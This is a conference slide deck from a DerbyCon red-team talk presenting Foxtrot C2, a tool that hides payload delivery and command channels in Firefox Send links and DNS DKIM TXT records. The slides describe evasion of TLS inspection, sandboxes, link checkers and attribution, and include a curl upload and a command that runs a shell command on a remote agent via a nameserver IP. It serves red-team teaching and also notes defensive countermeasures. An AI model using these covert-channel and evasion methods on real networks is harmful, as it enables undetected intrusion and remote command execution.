Execution of an offensive payload may begin with a safe delivery of the payload to the endpoint itself. When secure connections in the enterprise are inspected, reliance only on transmission level security may not be enough to accomplish that goal. Foxtrot C2 serves one goal: safe last mile delivery of payloads and commands between the external network and the internal point of presence, traversing intercepting proxies, with the end-to-end application level encryption. While the idea of end-to-end application encryption is certainly not new, the exact mechanism of Foxtrot's delivery implementation has advantages to Red Teams as it relies on a well known third party site, enjoying elevated ranking and above average domain fronting features. Payload delivery involves several OpSec defenses: sensible protection from direct attribution, active link expiration to evade consistent interception, inspection, tracking and replay activities by the defenders. Asymmetric communication channels are also planned. And if your standalone Foxtrot agent is caught, the delivery mechanism may live on, you could still manually bring the agent back into the environment via the browser. A concept tool built on these ideas will be presented and released. It will be used as basis for our discussion.

1. Foxtrot C2. A Journey of Payload Delivery
Safe(r) In-flight Payload Delivery
Dimitry Snezhkov
DerbyCon 8.0

2. Officially:
Sr. Managing Consultant, X-Force Red, IBM Corporation
Boils down to work with:
• Netz
• Appz
• Toolz
• Codez
• Humanz
About

3. Silence on the wire 30 minutes into sending a known good payload in a phish:
Realization: Payload did not make it to the end user
... was it the link checker?
... was it the new / uncategorized domain access policy?
... was the payload package format caught by in-flight content inspection tools?
... did the user lack supported programs to deal with unwrapping the application payload?
Note: The silence may be broken by a friendly sandbox visit under the name ”BOBS-PC”, joined
by 12 more peers fetching and analyzing the payload over and over again. It’s a party, but not
the one you want to be a part of!
Now, can damage be contained/minimized? Can I avoid or delay attribution?
Have You Ever …. ?

4. • Reasonably acquiesced networks scream anomalies.
• TLS Unwrap is a given
• Behavioral patterns, load, type, frequency, etc.
• If we allow defense to build a “story” of activities the vector is
burned.
Strike One: Traffic Correlation

5. • Interception and immediate analysis of self contained payloads.
Rinse and repeat
• Correlation rules on payload spread across enterprise
• Submission to cloud, analysis engines. No reuse.
Strike Two: Payload Sampling

6. • Link inspection
• Domain ranking
• Attribution and possibly defensive retaliation
• Etc. etc.
So…. Let’s minimize their effects, and avoid a few of them too.
Strike Three: A La Carte Offensive Pain Menu

7. • Properly configured layered in-flight defenses can be very effective
for the Defense.
• They can also be annoying to the Offense
• may not be reliably replicated in test/lab or known
• may lead to offensive teams giving up too early in the game.
• (Not fighting OS defensive mechanisms here)
Our Focus – In flight Defense

8. An alternative offensive content delivery mechanism is needed.
Primary goals:
1. Capability to deliver content across hostile traffic inspection mediums. E.g. TLS traffic inspection
assumed.
2. Capability to reach externally hosted content from the inside in the face of a strict content proxy
and a heavy domain ranking.
3. Capability to decrease repeatable sampling of externally hosted attacker content by defensive
mechanisms by controlling content access parameters, including one-time links, storage expiration,
access limits.
4. + Capability to minimize attribution at the initial visit/download/delivery stage.
5. + Capability to pass by link inspectors (e.g. UrlDefense)
6. + High degree of utilization needed.
Secondary goals:
Lao Tzu says: we shall discuss them later ;)
Offensive Payload Delivery Mechanism Improvements

9. Operation: Firefox Send Private, Encrypted File Sharing
1. Sender Uploads File
2. Firefox Stores Encrypted
w/Shared Key Basic Access
rules.
3. Recipient Downloads
File

10. Platform: Firefox Send Private, Encrypted File Sharing
https://www.w3.org/TR/WebCryptoAPI
WebCrypto API* with AES-GCM algorithm to encrypt and decrypt the file in the browser
The file that's transferred to Mozilla's server is already encrypted and its contents can't be viewed by Mozilla
• The link includes the encryption key
• Anyone with the link to download and
access the file.
• 1 GB file size limit
• 1-24 times download limit
*Web crypto API

11. • Send server can be deployed as a standalone server ( https://github.com/mozilla/send )
• Or hosted at https://send.firefox.com/ (our use case)
Request (upload file and encrypt)
POST /api/upload HTTP/1.1
Host: send.firefox.com
X-File-Metadata:
{"id":"55c97f947fc479547f16f125","filename":"monastery1.jpg"}
Response: Additional Owner/ID Info:
{"url":"https://send.firefox.com/download/3f9805bcd7/",
"owner":"9dafe4c2d89b07101891","id":"3f9805bcd7"}
Encrypted Link Format:
https://send.firefox.com/download/3f9805bcd7/#M3DA7NgkqlswuM9GFT4BCA
Platform: Firefox Send Private, Encrypted File Sharing

12. Goal 1: Capability to deliver content across hostile traffic
inspection (E.g. TLS traffic inspection)
• Decryption of content in the browser by JS
Encrypted last mile delivery
https://send.firefox.com/download/baaf2ae527/#ez4iQudmTwsjSu41ZSYrOg
• Proxy can inspect TLS, will see an encrypted blob.
• Unless the mechanism is known will rarely attempt to automatically
detect and unwrap application encryption.
• One-time shared key between the browser of the uploader and
the browser of file recipient.
• We don’t have to generate, FF Send takes care of that.
Solving key distribution
Evaluating Firefox Send Private Sharing Against Our Goals

13. Goal 2: Capability to reach hosted content in the face of a
content proxy and heavy domain ranking
https://send.firefox.com/
Mostly ranked high and “safe”
Evaluating Firefox Send Private Sharing Against Our Goals

14. Goal 3: Capability to decrease repeatable sampling of content by defense
by controlling content access parameters, including expiration, access limits.
Advantages:
• Link download throttling: 1-20 times
Sandbox gets nothing on the 2nd attempt
• Generous size of files (up to 1 GB)
• Link expiration by time (24 hours)
• File forced/manual deletion.
• Additional encryption passwords.
Further logic can be built. We will see more when we discuss secondary goals.
Evaluating Firefox Send Private Sharing Against Our Goals

15. Goal 4: Capability to minimize attribution.
• Storage OpSec: Ephemeral storage promise
• No account to create. Owner is ephemeral
File One: {"url":https://send.firefox.com/download/3f9805bcd7/
,"owner":"9dafe4c2d89b07101891","id":"3f9805bcd7"}
File Two: {"url":https://send.firefox.com/download/1839672b2a/
,"owner":"77b8a3559416aa14d668","id":"1839672b2a "}
Who is owner 77b8a3559416aa14d668 ?? (anonymous uploads.)
Evaluating Firefox Send Private Sharing Against Our Goals

16. Goal 5: Capability to minimize response from link inspectors
https://send.firefox.com/download/1839672b2a/#os171fpGxYOLOykVYREN8w
looks better than https://rogue.me/download/file
Goal 6: Ability to progressively build delivery with off the shelf tools.
Utilization / availability in all environments.
The problem of shared keys fully custom application encryption: format support.
Can you guarantee a client is able to unwrap?
All you really need is a Firefox/Chrome/Safari browser with JS Crypto WebAPI.
Edge (later/never?)
Evaluating Firefox Send Private Sharing Against Our Goals

17. Weaponizing A Happy File Sharing Service

18. One time. Two times. Automate.
1. Building a delivery framework of agents based on the existing capabilities.
2. Solving task synchronization with split data and command channels.
3. Building command execution capability and hooks into the external C&C
Secondary Goals: Automation

19. Goal 1: Building delivery agents based on the existing capabilities.
• FFSend is Browser to Browser, via WebAPI Crypto JS. Can we replicate / automate?
curl 'https://send.firefox.com/api/upload’
-H 'Authorization: send-v1
4m6CIIsv28NhHzFwI4coO7NQ4ptuH2dkQ2m0Fmft2B0j1ZcE18aeUWfIa3iuVyTQURKHZ4OboKxZmcCJCFmKJQ’
-H 'Origin: https://send.firefox.com’
-H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQ6VYFlqCoVpBLf6Y’
-H 'X-File- Metadata:
J8OulomBWho3RdLoeHBkOh23c5glLkfNLPHMZcV6Yctny1ydtkDsol1D_cJ8mQ-G2o_
c8wu6_avkca8o5-E4itPpOuzE2AD2hfGTA-TYjw’
--data-binary $'------ WebKitFormBoundaryQ6VYFlqCoVpBLf6YrnContent-Disposition: form-data; name="data";
filename="blob"rnContent-Type: application/octet-streamrnrnrn------ WebKitFormBoundaryQ6VYFlqCoVpBLf6Y--rn’
--compressed
{"url":"https://send.firefox.com/download/58d18f7c65/","delete":"0120a59343513ec237a4","id":"58d18f7c65"}
Secondary Goals: Automation

20. Goal 1: Building delivery agents based on the existing capabilities (Cont.)
JS Crypto WebAPI = Crypto Standards + HTTP libraries Py Crypto WebAPI = Crypto Standards + HTTP libraries
Secondary Goals: Automation

21. Agent Delivery Notification Problem: How do you make the other party know the shared key / URL?
https://send.firefox.com/download/baaf2ae527/#ez4iQudmTwsjSu41ZSYrOg
Notification side channels. The usual candidates HTTP, ICMP, DNS, etc.
• HTTPS: Possible but:
§ Another highly ranked domain needed. Partially defeats the purpose.
§ Assume inspection of TLS, so another custom protocol to protect.
• ICMP: Fairly limited structure- and capacity- wise, well inspected.
• DNS: Inspected but we can probably blend in.
Goal 1: Building delivery agents based on the existing capabilities (Cont.)
Secondary Goals: Automation

22. Goal 2: Solving synchronization with split data and command channels.
DNS:
• Data channel to FFSend.
• Command channel to DNS.
Wanted features:
• Avoid detection with well behaved packets across reasonably
infrequent traffic. No splitting of 1GB file and sending it across many
DNS TXT records.
• Dynamic DNS updates from the agents, access control with
Transaction Signatures
• Commands over well formed TXT DKIM records.
• Additional record content encryption with FFSend shared key.
Secondary Goals: Automation

23. Communication Protocol Contract
And how do we introduce communication directives? Develop and application protocol.
DNS Record PAYLOAD
{ 't':'q’, 's':'J','c' :'o’, 'u': 'http://send.firefox.com/iuhui433/#903fkhf9884r3rhh3}

24. Communication Protocol Contract
Hhow do we introduce communication directives? Develop and application DSL protocol.
3. Decrypted DKIM Record Instruction (request metadata, location of payload)
{ 't':'q’, 's':'J','c' :'o’, 'u': 'http://send.firefox.com/iuhui433/#903fkhf9884r3rhh3’}
1. DNS TXT Record for an agent:
352d079ffdaddd23edd407ff32a66c48._domainkey.s3bucket.stream @138.68.224.147
2. DNS TXT Record Content (Encrypted with agent key):
v=DKIM1; h=sha256; k=rsa; t=y; s=email; p=nCohnr6A1i0I7SOAMCs7tKfYxaTeWrT3aek

25. Normal
Communication Protocol Contract

26. • Might as well shuttle data AND commands.
• Master/Slave concept by role
• Peer-to-Peer concept by capability.
• Store and poll model between the parties via FFSend
service.
Goal 3: Building command execution from the external C&C
Secondary Goals: Automation

27. Foxtrot C2
DATA channel: Firefox Send Service
COMMAND channel: PowerDNS (choice)
• Flexibility:
Backend (SQL, Bind, Pipe, etc.)
HTTP API possible (Future
fallback, round robin)
• Agents can change roles (Master/Slave)
• Agents can communicate P2P (WIP)
• Command line and TUI menu driven
• Agents can be hosted on FF Send.
• Jitter/Intervals to blend in traffic (WIP)
• Internal agent commands (WIP)
• Download or push files
• Download or push instructions for OSexec()
• Planned LTKM
Python for now

28. Foxtrot Operation
./foxtrot.py --agent agent_195694e2 --tsigname
test2 --tsigrdata ./config/tsig-test2.dat --nserver
138.68.234.147 --domain s3bucket.stream --role
master --verbose info send --operation ocmd --ocmd
'ps -ef | grep bash'
Slave
Master
1. Master (Post Job to Slave)
2. Slave (Receipt of Request):
• Checks DNS record for its instructions
• Fetches linked data file from FFSend
• Processes (command or saves data)
as instructed
• Posts results back to FFSend
• Updates DNS
3. Master (Get Response):
• Checks DNS record for updates from
Slave
• Fetches linked data file from FFSend
• Processes command output as instructed
• Updates DNS record for Slave Agent

29. Interactive Console. Master/Slave
Batch. Send commands, data from command line
Foxtrot C2: Modes of Operation

30. Wire and Defense
• Sample number of DNS TXT requests/responses, DKIM pointers
• Vendors and Standalone implementations:
• render CAPTCHAS for uploads
• throttle number of uploads from the endpoint
• Expect split protocol delivery across multiple channels

31. • Payload Delivery itself is neither easy not hard, it’s a challenge with
variables.
• Despite popular belief great defensive setups exist that eat offense for
lunch.
• Know thyself. Challenge: Instrumented, understood business processes,
acquiesced networks.
Un-?Common State of Affairs Parting Thoughts

32. Q&A
Temporary location (will move, follow Twitter @Op_nomad):
https://github.com/gh0std4ncer1/foxtrot
Thanks!